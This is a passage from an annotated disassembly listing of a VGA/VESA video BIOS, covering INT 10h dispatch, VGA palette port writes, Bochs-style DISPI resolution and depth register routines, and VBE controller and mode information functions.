cx ; 89 ca mov ax, si ; 89 f0 call 02f5ah ; e8 a6 00 mov bx, ax ; 89 c3 mov dx, 0010eh ; ba 0e 01 xor ax, ax ; 31 c0 call 02f68h ; e8 aa 00 inc cx ; 41 inc cx ; 41 test byte [bp-00eh], 004h ; f6 46 f2 04 je short 02f0dh ; 74 47 inc cx ; 41 mov dx, cx ; 89 ca mov ax, si ; 89 f0 call 02f3eh ; e8 70 00 xor ah, ah ; 30 e4 mov word [bp-00ah], ax ; 89 46 f6 inc cx ; 41 mov dx, cx ; 89 ca mov ax, si ; 89 f0 call 02f3eh ; e8 63 00 mov dx, 003c6h ; ba c6 03 out DX, AL ; ee inc cx ; 41 xor al, al ; 30 c0 mov dx, 003c8h ; ba c8 03 out DX, AL ; ee xor ah, ah ; 30 e4 mov word [bp-008h], ax ; 89 46 f8 jmp short 02ef4h ; eb 07 cmp word [bp-008h], 00300h ; 81 7e f8 00 03 jnc short 02f05h ; 73 11 mov dx, cx ; 89 ca mov ax, si ; 89 f0 call 02f3eh ; e8 43 00 mov dx, 003c9h ; ba c9 03 out DX, AL ; ee inc cx ; 41 inc word [bp-008h] ; ff 46 f8 jmp short 02eedh ; eb e8 inc cx ; 41 mov al, byte [bp-00ah] ; 8a 46 f6 mov dx, 003c8h ; ba c8 03 out DX, AL ; ee mov ax, cx ; 89 c8 lea sp, [bp-006h] ; 8d 66 fa pop di ; 5f pop si ; 5e pop cx ; 59 pop bp ; 5d retn ; c3 find_vga_entry_: ; 0xc2f17 LB 0x27 push bx ; 53 push dx ; 52 push bp ; 55 mov bp, sp ; 89 e5 mov dl, al ; 88 c2 mov AH, strict byte 0ffh ; b4 ff xor al, al ; 30 c0 jmp short 02f2ah ; eb 06 db 0feh, 0c0h ; inc al ; fe c0 cmp AL, strict byte 00fh ; 3c 0f jnbe short 02f38h ; 77 0e movzx bx, al ; 0f b6 d8 sal bx, 003h ; c1 e3 03 cmp dl, byte [bx+0462eh] ; 3a 97 2e 46 jne short 02f24h ; 75 ee mov ah, al ; 88 c4 mov al, ah ; 88 e0 pop bp ; 5d pop dx ; 5a pop bx ; 5b retn ; c3 read_byte_: ; 0xc2f3e LB 0xe push bx ; 53 push bp ; 55 mov bp, sp ; 89 e5 mov bx, dx ; 89 d3 mov es, ax ; 8e c0 mov al, byte [es:bx] ; 26 8a 07 pop bp ; 5d pop bx ; 5b retn ; c3 write_byte_: ; 0xc2f4c LB 0xe push si ; 56 push bp ; 55 mov bp, sp ; 89 e5 mov si, dx ; 89 d6 mov es, ax ; 8e c0 mov byte [es:si], bl ; 26 88 1c pop bp ; 5d pop si ; 5e retn ; c3 read_word_: ; 0xc2f5a LB 0xe push bx ; 53 push bp ; 55 mov bp, sp ; 89 e5 mov bx, dx ; 89 d3 mov es, ax ; 8e c0 mov ax, word [es:bx] ; 26 8b 07 pop bp ; 5d pop bx ; 5b retn ; c3 write_word_: ; 0xc2f68 LB 0xe push si ; 56 push bp ; 55 mov bp, sp ; 89 e5 mov si, dx ; 89 d6 mov es, ax ; 8e c0 mov word [es:si], bx ; 26 89 1c pop bp ; 5d pop si ; 5e retn ; c3 read_dword_: ; 0xc2f76 LB 0x12 push bx ; 53 push bp ; 55 mov bp, sp ; 89 e5 mov bx, dx ; 89 d3 mov es, ax ; 8e c0 mov ax, word [es:bx] ; 26 8b 07 mov dx, word [es:bx+002h] ; 26 8b 57 02 pop bp ; 5d pop bx ; 5b retn ; c3 write_dword_: ; 0xc2f88 LB 0x7f push si ; 56 push bp ; 55 mov bp, sp ; 89 e5 mov si, dx ; 89 d6 mov es, ax ; 8e c0 mov word [es:si], bx ; 26 89 1c mov word [es:si+002h], cx ; 26 89 4c 02 pop bp ; 5d pop si ; 5e retn ; c3 dec di ; 4f sbb AL, strict byte 01bh ; 1c 1b adc dx, word [bp+si] ; 13 12 adc word [bx+si], dx ; 11 10 push CS ; 0e or ax, 00a0ch ; 0d 0c 0a or word [bx+si], cx ; 09 08 pop ES ; 07 push ES ; 06 add ax, 00304h ; 05 04 03 add al, byte [bx+di] ; 02 01 add dl, cl ; 00 ca xor si, word [di] ; 33 35 xor byte [bp+di+030h], dh ; 30 73 30 xchg word [bx+si], si ; 87 30 cbw ; 98 xor byte [si-042d0h], ch ; 30 ac 30 bd xor bh, al ; 30 c7 xor byte [bx+di], al ; 30 01 xor word [di], ax ; 31 05 xor word [03331h], dx ; 31 16 31 33 xor word [bx+si+031h], dx ; 31 50 31 jo short 02ffch ; 70 31 lea si, [bx+di] ; 8d 31 movsb ; a4 xor word [bx+si-074cfh], si ; 31 b0 31 8b db 032h, 0c6h ; xor al, dh ; 32 c6 db 032h, 0f6h ; xor dh, dh ; 32 f6 xor cl, byte [bp+di] ; 32 0b xor cx, word [di+033h] ; 33 4d 33 xor byte [si], ah ; 30 24 and sp, word [bp+si] ; 23 22 and word [bx+si], sp ; 21 20 adc AL, strict byte 012h ; 14 12 adc word [bx+si], dx ; 11 10 add AL, strict byte 002h ; 04 02 add word [bx+si], ax ; 01 00 retf 0d133h ; ca 33 d1 xor di, si ; 31 f7 xor word [bx+si], cx ; 31 08 xor bl, byte [bx+di] ; 32 19 db 032h, 0d1h ; xor dl, cl ; 32 d1 xor di, si ; 31 f7 xor word [bx+si], cx ; 31 08 xor bl, byte [bx+di] ; 32 19 xor ch, byte [bp+si] ; 32 2a xor dh, byte [05132h] ; 32 36 32 51 xor bl, byte [si+032h] ; 32 5c 32 xor dh, byte [edx+032h] ; 67 32 72 32 _int10_func: ; 0xc3007 LB 0x3ca push bp ; 55 mov bp, sp ; 89 e5 push si ; 56 push di ; 57 push ax ; 50 mov si, word [bp+004h] ; 8b 76 04 mov ax, word [bp+012h] ; 8b 46 12 shr ax, 008h ; c1 e8 08 cmp ax, strict word 0004fh ; 3d 4f 00 jnbe near 033cah ; 0f 87 ad 03 push CS ; 0e pop ES ; 07 mov cx, strict word 00016h ; b9 16 00 mov di, 02f9ah ; bf 9a 2f repne scasb ; f2 ae sal cx, 1 ; d1 e1 mov di, cx ; 89 cf mov ax, word [cs:di+02fafh] ; 2e 8b 85 af 2f mov cl, byte [bp+012h] ; 8a 4e 12 jmp ax ; ff e0 mov al, byte [bp+012h] ; 8a 46 12 xor ah, ah ; 30 e4 call 00fdch ; e8 9f df mov ax, word [bp+012h] ; 8b 46 12 and ax, strict word 0007fh ; 25 7f 00 cmp ax, strict word 00007h ; 3d 07 00 je short 0305dh ; 74 15 cmp ax, strict word 00006h ; 3d 06 00 je short 03054h ; 74 07 cmp ax, strict word 00005h ; 3d 05 00 jbe short 0305dh ; 76 0b jmp short 03066h ; eb 12 mov ax, word [bp+012h] ; 8b 46 12 xor al, al ; 30 c0 or AL, strict byte 03fh ; 0c 3f jmp short 0306dh ; eb 10 mov ax, word [bp+012h] ; 8b 46 12 xor al, al ; 30 c0 or AL, strict byte 030h ; 0c 30 jmp short 0306dh ; eb 07 mov ax, word [bp+012h] ; 8b 46 12 xor al, al ; 30 c0 or AL, strict byte 020h ; 0c 20 mov word [bp+012h], ax ; 89 46 12 jmp near 033cah ; e9 57 03 mov al, byte [bp+010h] ; 8a 46 10 movzx dx, al ; 0f b6 d0 mov ax, word [bp+010h] ; 8b 46 10 shr ax, 008h ; c1 e8 08 xor ah, ah ; 30 e4 call 00dbah ; e8 36 dd jmp near 033cah ; e9 43 03 mov dx, word [bp+00eh] ; 8b 56 0e mov ax, word [bp+00ch] ; 8b 46 0c shr ax, 008h ; c1 e8 08 xor ah, ah ; 30 e4 call 00e5eh ; e8 c9 dd jmp near 033cah ; e9 32 03 lea bx, [bp+00eh] ; 8d 5e 0e lea dx, [bp+010h] ; 8d 56 10 mov ax, word [bp+00ch] ; 8b 46 0c shr ax, 008h ; c1 e8 08 xor ah, ah ; 30 e4 call 00a88h ; e8 df d9 jmp near 033cah ; e9 1e 03 xor ax, ax ; 31 c0 mov word [bp+012h], ax ; 89 46 12 mov word [bp+00ch], ax ; 89 46 0c mov word [bp+010h], ax ; 89 46 10 mov word [bp+00eh], ax ; 89 46 0e jmp near 033cah ; e9 0d 03 mov al, cl ; 88 c8 xor ah, ah ; 30 e4 call 00f00h ; e8 3c de jmp near 033cah ; e9 03 03 mov ax, strict word 00001h ; b8 01 00 push ax ; 50 mov ax, 000ffh ; b8 ff 00 push ax ; 50 mov al, byte [bp+00eh] ; 8a 46 0e xor ah, ah ; 30 e4 push ax ; 50 mov ax, word [bp+00eh] ; 8b 46 0e shr ax, 008h ; c1 e8 08 xor ah, ah ; 30 e4 push ax ; 50 mov al, byte [bp+010h] ; 8a 46 10 movzx cx, al ; 0f b6 c8 mov ax, word [bp+010h] ; 8b 46 10 shr ax, 008h ; c1 e8 08 movzx bx, al ; 0f b6 d8 mov ax, word [bp+00ch] ; 8b 46 0c shr ax, 008h ; c1 e8 08 movzx dx, al ; 0f b6 d0 mov al, byte [bp+012h] ; 8a 46 12 xor ah, ah ; 30 e4 call 01572h ; e8 74 e4 jmp near 033cah ; e9 c9 02 xor ax, ax ; 31 c0 jmp short 030cah ; eb c5 lea dx, [bp+012h] ; 8d 56 12 mov ax, word [bp+00ch] ; 8b 46 0c shr ax, 008h ; c1 e8 08 xor ah, ah ; 30 e4 call 00acbh ; e8 b8 d9 jmp near 033cah ; e9 b4 02 mov cx, word [bp+010h] ; 8b 4e 10 mov al, byte [bp+00ch] ; 8a 46 0c movzx bx, al ; 0f b6 d8 mov ax, word [bp+00ch] ; 8b 46 0c shr ax, 008h ; c1 e8 08 movzx dx, al ; 0f b6 d0 mov al, byte [bp+012h] ; 8a 46 12 xor ah, ah ; 30 e4 call 01d12h ; e8 e2 eb jmp near 033cah ; e9 97 02 mov cx, word [bp+010h] ; 8b 4e 10 mov al, byte [bp+00ch] ; 8a 46 0c movzx bx, al ; 0f b6 d8 mov ax, word [bp+00ch] ; 8b 46 0c shr ax, 008h ; c1 e8 08 movzx dx, al ; 0f b6 d0 mov al, byte [bp+012h] ; 8a 46 12 xor ah, ah ; 30 e4 call 01e7ah ; e8 2d ed jmp near 033cah ; e9 7a 02 mov cx, word [bp+00eh] ; 8b 4e 0e mov bx, word [bp+010h] ; 8b 5e 10 mov al, byte [bp+012h] ; 8a 46 12 movzx dx, al ; 0f b6 d0 mov ax, word [bp+00ch] ; 8b 46 0c shr ax, 008h ; c1 e8 08 mov word [bp-006h], ax ; 89 46 fa mov al, byte [bp-006h] ; 8a 46 fa xor ah, ah ; 30 e4 call 01fe9h ; e8 7c ee jmp near 033cah ; e9 5a 02 lea cx, [bp+012h] ; 8d 4e 12 mov bx, word [bp+00eh] ; 8b 5e 0e mov dx, word [bp+010h] ; 8b 56 10 mov ax, word [bp+00ch] ; 8b 46 0c shr ax, 008h ; c1 e8 08 mov word [bp-006h], ax ; 89 46 fa mov al, byte [bp-006h] ; 8a 46 fa xor ah, ah ; 30 e4 call 00bf5h ; e8 6b da jmp near 033cah ; e9 3d 02 mov cx, strict word 00002h ; b9 02 00 mov al, byte [bp+00ch] ; 8a 46 0c movzx bx, al ; 0f b6 d8 mov dx, 000ffh ; ba ff 00 mov al, byte [bp+012h] ; 8a 46 12 xor ah, ah ; 30 e4 call 02153h ; e8 b2 ef jmp near 033cah ; e9 26 02 mov dx, word [bp+010h] ; 8b 56 10 mov ax, word [bp+00ch] ; 8b 46 0c call 00d2eh ; e8 81 db jmp near 033cah ; e9 1a 02 mov ax, word [bp+012h] ; 8b 46 12 xor ah, ah ; 30 e4 cmp ax, strict word 00030h ; 3d 30 00 jnbe near 033cah ; 0f 87 0e 02 push CS ; 0e pop ES ; 07 mov cx, strict word 0000fh ; b9 0f 00 mov di, 02fdbh ; bf db 2f repne scasb ; f2 ae sal cx, 1 ; d1 e1 mov di, cx ; 89 cf mov ax, word [cs:di+02fe9h] ; 2e 8b 85 e9 2f jmp ax ; ff e0 mov ax, word [bp+00ch] ; 8b 46 0c shr ax, 008h ; c1 e8 08 xor ah, ah ; 30 e4 push ax ; 50 mov al, byte [bp+00ch] ; 8a 46 0c xor ah, ah ; 30 e4 push ax ; 50 push word [bp+00eh] ; ff 76 0e mov al, byte [bp+012h] ; 8a 46 12 xor ah, ah ; 30 e4 mov cx, word [bp+010h] ; 8b 4e 10 mov bx, word [bp+008h] ; 8b 5e 08 mov dx, word [bp+016h] ; 8b 56 16 call 024bbh ; e8 c7 f2 jmp near 033cah ; e9 d3 01 mov al, byte [bp+00ch] ; 8a 46 0c movzx dx, al ; 0f b6 d0 mov al, byte [bp+012h] ; 8a 46 12 xor ah, ah ; 30 e4 call 02538h ; e8 33 f3 jmp near 033cah ; e9 c2 01 mov al, byte [bp+00ch] ; 8a 46 0c movzx dx, al ; 0f b6 d0 mov al, byte [bp+012h] ; 8a 46 12 xor ah, ah ; 30 e4 call 025a8h ; e8 92 f3 jmp near 033cah ; e9 b1 01 mov al, byte [bp+00ch] ; 8a 46 0c movzx dx, al ; 0f b6 d0 mov al, byte [bp+012h] ; 8a 46 12 xor ah, ah ; 30 e4 call 0261ah ; e8 f3 f3 jmp near 033cah ; e9 a0 01 mov dx, word [bp+008h] ; 8b 56 08 mov ax, word [bp+016h] ; 8b 46 16 call 0268ch ; e8 59 f4 jmp near 033cah ; e9 94 01 mov al, byte [bp+00eh] ; 8a 46 0e xor ah, ah ; 30 e4 push ax ; 50 mov al, byte [bp+00ch] ; 8a 46 0c movzx cx, al ; 0f b6 c8 mov bx, word [bp+010h] ; 8b 5e 10 mov dx, word [bp+008h] ; 8b 56 08 mov ax, word [bp+016h] ; 8b 46 16 call 02691h ; e8 43 f4 jmp near 033cah ; e9 79 01 mov al, byte [bp+00ch] ; 8a 46 0c xor ah, ah ; 30 e4 call 02698h ; e8 3f f4 jmp near 033cah ; e9 6e 01 mov al, byte [bp+00ch] ; 8a 46 0c xor ah, ah ; 30 e4 call 0269dh ; e8 39 f4 jmp near 033cah ; e9 63 01 mov al, byte [bp+00ch] ; 8a 46 0c xor ah, ah ; 30 e4 call 026a2h ; e8 33 f4 jmp near 033cah ; e9 58 01 lea ax, [bp+00eh] ; 8d 46 0e push ax ; 50 lea cx, [bp+010h] ; 8d 4e 10 lea bx, [bp+008h] ; 8d 5e 08 lea dx, [bp+016h] ; 8d 56 16 mov ax, word [bp+00ch] ; 8b 46 0c shr ax, 008h ; c1 e8 08 call 00b73h ; e8 eb d8 jmp near 033cah ; e9 3f 01 mov ax, word [bp+00ch] ; 8b 46 0c xor ah, ah ; 30 e4 cmp ax, strict word 00036h ; 3d 36 00 je short 032bdh ; 74 28 cmp ax, strict word 00035h ; 3d 35 00 je short 032a7h ; 74 0d cmp ax, strict word 00020h ; 3d 20 00 jne near 033cah ; 0f 85 29 01 call 026a7h ; e8 03 f4 jmp near 033cah ; e9 23 01 movzx ax, cl ; 0f b6 c1 mov bx, word [bp+00eh] ; 8b 5e 0e mov dx, word [bp+016h] ; 8b 56 16 call 026ach ; e8 f9 f3 mov ax, word [bp+012h] ; 8b 46 12 xor al, al ; 30 c0 or AL, strict byte 012h ; 0c 12 jmp near 0306dh ; e9 b0 fd mov al, cl ; 88 c8 xor ah, ah ; 30 e4 call 026b1h ; e8 ed f3 jmp short 032b3h ; eb ed push word [bp+008h] ; ff 76 08 push word [bp+016h] ; ff 76 16 mov al, byte [bp+00eh] ; 8a 46 0e xor ah, ah ; 30 e4 push ax ; 50 mov ax, word [bp+00eh] ; 8b 46 0e shr ax, 008h ; c1 e8 08 xor ah, ah ; 30 e4 push ax ; 50 mov al, byte [bp+00ch] ; 8a 46 0c movzx bx, al ; 0f b6 d8 mov ax, word [bp+00ch] ; 8b 46 0c shr ax, 008h ; c1 e8 08 movzx dx, al ; 0f b6 d0 movzx ax, cl ; 0f b6 c1 mov cx, word [bp+010h] ; 8b 4e 10 call 026b6h ; e8 c3 f3 jmp near 033cah ; e9 d4 00 mov bx, si ; 89 f3 mov dx, word [bp+016h] ; 8b 56 16 mov ax, word [bp+00ch] ; 8b 46 0c call 02752h ; e8 51 f4 mov ax, word [bp+012h] ; 8b 46 12 xor al, al ; 30 c0 or AL, strict byte 01bh ; 0c 1b jmp near 0306dh ; e9 62 fd mov ax, word [bp+012h] ; 8b 46 12 xor ah, ah ; 30 e4 cmp ax, strict word 00002h ; 3d 02 00 je short 03337h ; 74 22 cmp ax, strict word 00001h ; 3d 01 00 je short 03329h ; 74 0f test ax, ax ; 85 c0 jne short 03343h ; 75 25 lea dx, [bp+00ch] ; 8d 56 0c mov ax, word [bp+010h] ; 8b 46 10 call 02876h ; e8 4f f5 jmp short 03343h ; eb 1a mov bx, word [bp+00ch] ; 8b 5e 0c mov dx, word [bp+016h] ; 8b 56 16 mov ax, word [bp+010h] ; 8b 46 10 call 02888h ; e8 53 f5 jmp short 03343h ; eb 0c mov bx, word [bp+00ch] ; 8b 5e 0c mov dx, word [bp+016h] ; 8b 56 16 mov ax, word [bp+010h] ; 8b 46 10 call 02bf1h ; e8 ae f8 mov ax, word [bp+012h] ; 8b 46 12 xor al, al ; 30 c0 or AL, strict byte 01ch ; 0c 1c jmp near 0306dh ; e9 20 fd call 007fah ; e8 aa d4 test ax, ax ; 85 c0 je near 033c5h ; 0f 84 6f 00 mov ax, word [bp+012h] ; 8b 46 12 xor ah, ah ; 30 e4 cmp ax, strict word 00002h ; 3d 02 00 jc short 03373h ; 72 13 jbe short 03399h ; 76 37 cmp ax, strict word 0000ah ; 3d 0a 00 je short 033beh ; 74 57 cmp ax, strict word 00009h ; 3d 09 00 je short 033beh ; 74 52 cmp ax, strict word 00004h ; 3d 04 00 je short 033a9h ; 74 38 jmp short 033beh ; eb 4b cmp ax, strict word 00001h ; 3d 01 00 je short 03389h ; 74 11 test ax, ax ; 85 c0 jne short 033beh ; 75 42 mov bx, si ; 89 f3 mov dx, word [bp+016h] ; 8b 56 16 lea ax, [bp+012h] ; 8d 46 12 call 03503h ; e8 7c 01 jmp short 033cah ; eb 41 mov cx, si ; 89 f1 mov bx, word [bp+016h] ; 8b 5e 16 mov dx, word [bp+010h] ; 8b 56 10 lea ax, [bp+012h] ; 8d 46 12 call 0362ch ; e8 95 02 jmp short 033cah ; eb 31 mov cx, si ; 89 f1 mov bx, word [bp+016h] ; 8b 5e 16 mov dx, word [bp+00ch] ; 8b 56 0c lea ax, [bp+012h] ; 8d 46 12 call 036e4h ; e8 3d 03 jmp short 033cah ; eb 21 lea ax, [bp+00ch] ; 8d 46 0c push ax ; 50 mov cx, word [bp+016h] ; 8b 4e 16 mov bx, word [bp+00eh] ; 8b 5e 0e mov dx, word [bp+010h] ; 8b 56 10 lea ax, [bp+012h] ; 8d 46 12 call 038cbh ; e8 0f 05 jmp short 033cah ; eb 0c mov word [bp+012h], 00100h ; c7 46 12 00 01 jmp short 033cah ; eb 05 mov word [bp+012h], 00100h ; c7 46 12 00 01 lea sp, [bp-004h] ; 8d 66 fc pop di ; 5f pop si ; 5e pop bp ; 5d retn ; c3 dispi_set_xres_: ; 0xc33d1 LB 0x1f push bp ; 55 mov bp, sp ; 89 e5 push bx ; 53 push dx ; 52 mov bx, ax ; 89 c3 mov ax, strict word 00001h ; b8 01 00 mov dx, 001ceh ; ba ce 01 call 00570h ; e8 8f d1 mov ax, bx ; 89 d8 mov dx, 001cfh ; ba cf 01 call 00570h ; e8 87 d1 lea sp, [bp-004h] ; 8d 66 fc pop dx ; 5a pop bx ; 5b pop bp ; 5d retn ; c3 dispi_set_yres_: ; 0xc33f0 LB 0x1f push bp ; 55 mov bp, sp ; 89 e5 push bx ; 53 push dx ; 52 mov bx, ax ; 89 c3 mov ax, strict word 00002h ; b8 02 00 mov dx, 001ceh ; ba ce 01 call 00570h ; e8 70 d1 mov ax, bx ; 89 d8 mov dx, 001cfh ; ba cf 01 call 00570h ; e8 68 d1 lea sp, [bp-004h] ; 8d 66 fc pop dx ; 5a pop bx ; 5b pop bp ; 5d retn ; c3 dispi_set_bpp_: ; 0xc340f LB 0x1f push bp ; 55 mov bp, sp ; 89 e5 push bx ; 53 push dx ; 52 mov bx, ax ; 89 c3 mov ax, strict word 00003h ; b8 03 00 mov dx, 001ceh ; ba ce 01 call 00570h ; e8 51 d1 mov ax, bx ; 89 d8 mov dx, 001cfh ; ba cf 01 call 00570h ; e8 49 d1 lea sp, [bp-004h] ; 8d 66 fc pop dx ; 5a pop bx ; 5b pop bp ; 5d retn ; c3 in_word_: ; 0xc342e LB 0x12 push bp ; 55 mov bp, sp ; 89 e5 push bx ; 53 mov bx, ax ; 89 c3 mov ax, dx ; 89 d0 mov dx, bx ; 89 da out DX, ax ; ef in ax, DX ; ed lea sp, [bp-002h] ; 8d 66 fe pop bx ; 5b pop bp ; 5d retn ; c3 in_byte_: ; 0xc3440 LB 0x14 push bp ; 55 mov bp, sp ; 89 e5 push bx ; 53 mov bx, ax ; 89 c3 mov ax, dx ; 89 d0 mov dx, bx ; 89 da out DX, ax ; ef in AL, DX ; ec db 02ah, 0e4h ; sub ah, ah ; 2a e4 lea sp, [bp-002h] ; 8d 66 fe pop bx ; 5b pop bp ; 5d retn ; c3 dispi_get_id_: ; 0xc3454 LB 0x14 push bp ; 55 mov bp, sp ; 89 e5 push dx ; 52 xor ax, ax ; 31 c0 mov dx, 001ceh ; ba ce 01 out DX, ax ; ef mov dx, 001cfh ; ba cf 01 in ax, DX ; ed lea sp, [bp-002h] ; 8d 66 fe pop dx ; 5a pop bp ; 5d retn ; c3 dispi_set_id_: ; 0xc3468 LB 0x1a push bp ; 55 mov bp, sp ; 89 e5 push bx ; 53 push dx ; 52 mov bx, ax ; 89 c3 xor ax, ax ; 31 c0 mov dx, 001ceh ; ba ce 01 out DX, ax ; ef mov ax, bx ; 89 d8 mov dx, 001cfh ; ba cf 01 out DX, ax ; ef lea sp, [bp-004h] ; 8d 66 fc pop dx ; 5a pop bx ; 5b pop bp ; 5d retn ; c3 vbe_init_: ; 0xc3482 LB 0x2c push bp ; 55 mov bp, sp ; 89 e5 push bx ; 53 push dx ; 52 mov ax, 0b0c0h ; b8 c0 b0 call 03468h ; e8 db ff call 03454h ; e8 c4 ff cmp ax, 0b0c0h ; 3d c0 b0 jne short 034a7h ; 75 12 mov bx, strict word 00001h ; bb 01 00 mov dx, 000b9h ; ba b9 00 mov ax, strict word 00040h ; b8 40 00 call 02f4ch ; e8 ab fa mov ax, 0b0c4h ; b8 c4 b0 call 03468h ; e8 c1 ff lea sp, [bp-004h] ; 8d 66 fc pop dx ; 5a pop bx ; 5b pop bp ; 5d retn ; c3 mode_info_find_mode_: ; 0xc34ae LB 0x55 push bp ; 55 mov bp, sp ; 89 e5 push bx ; 53 push cx ; 51 push si ; 56 push di ; 57 mov di, ax ; 89 c7 mov si, dx ; 89 d6 xor dx, dx ; 31 d2 mov ax, 003b6h ; b8 b6 03 call 0342eh ; e8 6d ff cmp ax, 077cch ; 3d cc 77 jne short 034f8h ; 75 32 mov bx, strict word 00004h ; bb 04 00 mov dx, bx ; 89 da mov ax, 003b6h ; b8 b6 03 call 0342eh ; e8 5d ff mov cx, ax ; 89 c1 cmp cx, strict byte 0ffffh ; 83 f9 ff je short 034f8h ; 74 20 lea dx, [bx+002h] ; 8d 57 02 mov ax, 003b6h ; b8 b6 03 call 0342eh ; e8 4d ff lea dx, [bx+044h] ; 8d 57 44 cmp cx, di ; 39 f9 jne short 034f4h ; 75 0c test si, si ; 85 f6 jne short 034f0h ; 75 04 mov ax, bx ; 89 d8 jmp short 034fah ; eb 0a test AL, strict byte 080h ; a8 80 jne short 034ech ; 75 f8 mov bx, dx ; 89 d3 jmp short 034cbh ; eb d3 xor ax, ax ; 31 c0 lea sp, [bp-008h] ; 8d 66 f8 pop di ; 5f pop si ; 5e pop cx ; 59 pop bx ; 5b pop bp ; 5d retn ; c3 vbe_biosfn_return_controller_information_: ; 0xc3503 LB 0x129 push bp ; 55 mov bp, sp ; 89 e5 push cx ; 51 push si ; 56 push di ; 57 sub sp, strict byte 0000ah ; 83 ec 0a mov si, ax ; 89 c6 mov di, dx ; 89 d7 mov word [bp-00ah], bx ; 89 5e f6 mov word [bp-00ch], strict word 00022h ; c7 46 f4 22 00 call 005b7h ; e8 9c d0 mov word [bp-010h], ax ; 89 46 f0 mov bx, word [bp-00ah] ; 8b 5e f6 mov word [bp-008h], di ; 89 7e f8 xor dx, dx ; 31 d2 mov ax, 003b6h ; b8 b6 03 call 0342eh ; e8 02 ff cmp ax, 077cch ; 3d cc 77 je short 0353bh ; 74 0a push SS ; 16 pop ES ; 07 mov word [es:si], 00100h ; 26 c7 04 00 01 jmp near 03624h ; e9 e9 00 mov cx, strict word 00004h ; b9 04 00 mov word [bp-00eh], strict word 00000h ; c7 46 f2 00 00 mov es, [bp-008h] ; 8e 46 f8 cmp word [es:bx+002h], 03245h ; 26 81 7f 02 45 32 jne short 03555h ; 75 07 cmp word [es:bx], 04256h ; 26 81 3f 56 42 je short 03564h ; 74 0f cmp word [es:bx+002h], 04153h ; 26 81 7f 02 53 41 jne short 03569h ; 75 0c cmp word [es:bx], 04556h ; 26 81 3f 56 45 jne short 03569h ; 75 05 mov word [bp-00eh], strict word 00001h ; c7 46 f2 01 00 mov es, [bp-008h] ; 8e 46 f8 db 066h, 026h, 0c7h, 007h, 056h, 045h, 053h, 041h ; mov dword [es:bx], strict dword 041534556h ; 66 26 c7 07 56 45 53 41 mov word [es:bx+004h], 00200h ; 26 c7 47 04 00 02 mov word [es:bx+006h], 07c5eh ; 26 c7 47 06 5e 7c mov [es:bx+008h], ds ; 26 8c 5f 08 db 066h, 026h, 0c7h, 047h, 00ah, 001h, 000h, 000h, 000h ; mov dword [es:bx+00ah], strict dword 000000001h ; 66 26 c7 47 0a 01 00 00 00 mov word [es:bx+010h], di ; 26 89 7f 10 mov ax, word [bp-00ah] ; 8b 46 f6 add ax, strict word 00022h ; 05 22 00 mov word [es:bx+00eh], ax ; 26 89 47 0e mov dx, strict word 0ffffh ; ba ff ff mov ax, 003b6h ; b8 b6 03 call 0342eh ; e8 8a fe mov es, [bp-008h] ; 8e 46 f8 mov word [es:bx+012h], ax ; 26 89 47 12 cmp word [bp-00eh], strict byte 00000h ; 83 7e f2 00 je short 035d5h ; 74 24 mov word [es:bx+014h], strict word 00003h ; 26 c7 47 14 03 00 mov word [es:bx+016h], 07c73h ; 26 c7 47 16 73 7c mov [es:bx+018h], ds ; 26 8c 5f 18 mov word [es:bx+01ah], 07c86h ; 26 c7 47 1a 86 7c mov [es:bx+01ch], ds ; 26 8c 5f 1c mov word [es:bx+01eh], 07ca7h ; 26 c7 47 1e a7 7c mov [es:bx+020h], ds ; 26 8c 5f 20 mov dx, cx ; 89 ca add dx, strict byte 0001bh ; 83 c2 1b mov ax, 003b6h ; b8 b6 03 call 03440h ; e8 60 fe xor ah, ah ; 30 e4 cmp ax, word [bp-010h] ; 3b 46 f0 jnbe short 03600h ; 77 19 mov dx, cx ; 89 ca mov ax, 003b6h ; b8 b6 03 call 0342eh ; e8 3f fe mov bx, ax ; 89 c3 mov dx, word [bp-00ah] ; 8b 56 f6 add dx, word [bp-00ch] ; 03 56 f4 mov ax, di ; 89 f8 call 02f68h ; e8 6c f9 add word [bp-00ch], strict byte 00002h ; 83 46 f4 02 add cx, strict byte 00044h ; 83 c1 44 mov dx, cx ; 89 ca mov ax, 003b6h ; b8 b6 03 call 0342eh ; e8 23 fe mov bx, ax ; 89 c3 cmp ax, strict word 0ffffh ; 3d ff ff jne short 035d5h ; 75 c3 mov dx, word [bp-00ah] ; 8b 56 f6 add dx, word [bp-00ch] ; 03 56 f4 mov ax, di ; 89 f8 call 02f68h ; e8 4b f9 push SS ; 16 pop ES ; 07 mov word [es:si], strict word 0004fh ; 26 c7 04 4f 00 lea sp, [bp-006h] ; 8d 66 fa pop di ; 5f pop si ; 5e pop cx ; 59 pop bp ; 5d retn ; c3 vbe_biosfn_return_mode_information_: ; 0xc362c LB 0xb8 push bp ; 55 mov bp, sp ; 89 e5 push si ; 56 push di ; 57 push ax ; 50 push ax ; 50 push ax ; 50 mov ax, dx ; 89 d0 mov si, bx ; 89 de mov word [bp-006h], cx ; 89 4e fa test dh, 040h ; f6 c6 40 db 00fh, 095h, 0c2h ; setne dl ; 0f 95 c2 xor dh, dh ; 30 f6 and ah, 001h ; 80 e4 01 call 034aeh ; e8 65 fe mov word [bp-008h], ax ; 89 46 f8 test ax, ax ; 85 c0 je near 036d2h ; 0f 84 80 00 mov cx, 00100h ; b9 00 01 xor ax, ax ; 31 c0 mov di, word [bp-006h] ; 8b 7e fa mov es, bx ; 8e c3 cld ; fc jcxz 03661h ; e3 02 rep stosb ; f3 aa xor cx, cx ; 31 c9 jmp short 0366ah ; eb 05 cmp cx, strict byte 00042h ; 83 f9 42 jnc short 03687h ; 73 1d mov dx, word [bp-008h] ; 8b 56 f8 inc dx ; 42 inc dx ; 42 add dx, cx ; 01 ca mov ax, 003b6h ; b8 b6 03 call 03440h ; e8 c9 fd movzx bx, al ; 0f b6 d8 mov dx, word [bp-006h] ; 8b 56 fa add dx, cx ; 01 ca mov ax, si ; 89 f0 call 02f4ch ; e8 c8 f8 inc cx ; 41 jmp short 03665h ; eb de mov dx, word [bp-006h] ; 8b 56 fa inc dx ; 42 inc dx ; 42 mov ax, si ; 89 f0 call 02f3eh ; e8 ad f8 test AL, strict byte 001h ; a8 01 je short 036b1h ; 74 1c mov dx, word [bp-006h] ; 8b 56 fa add dx, strict byte 0000ch ; 83 c2 0c mov bx, 00629h ; bb 29 06 mov ax, si ; 89 f0 call 02f68h ; e8 c5 f8 mov dx, word [bp-006h] ; 8b 56 fa add dx, strict byte 0000eh ; 83 c2 0e mov bx, 0c000h ; bb 00 c0 mov ax, si ; 89 f0 call 02f68h ; e8 b7 f8 mov ax, strict word 0000bh ; b8 0b 00 mov 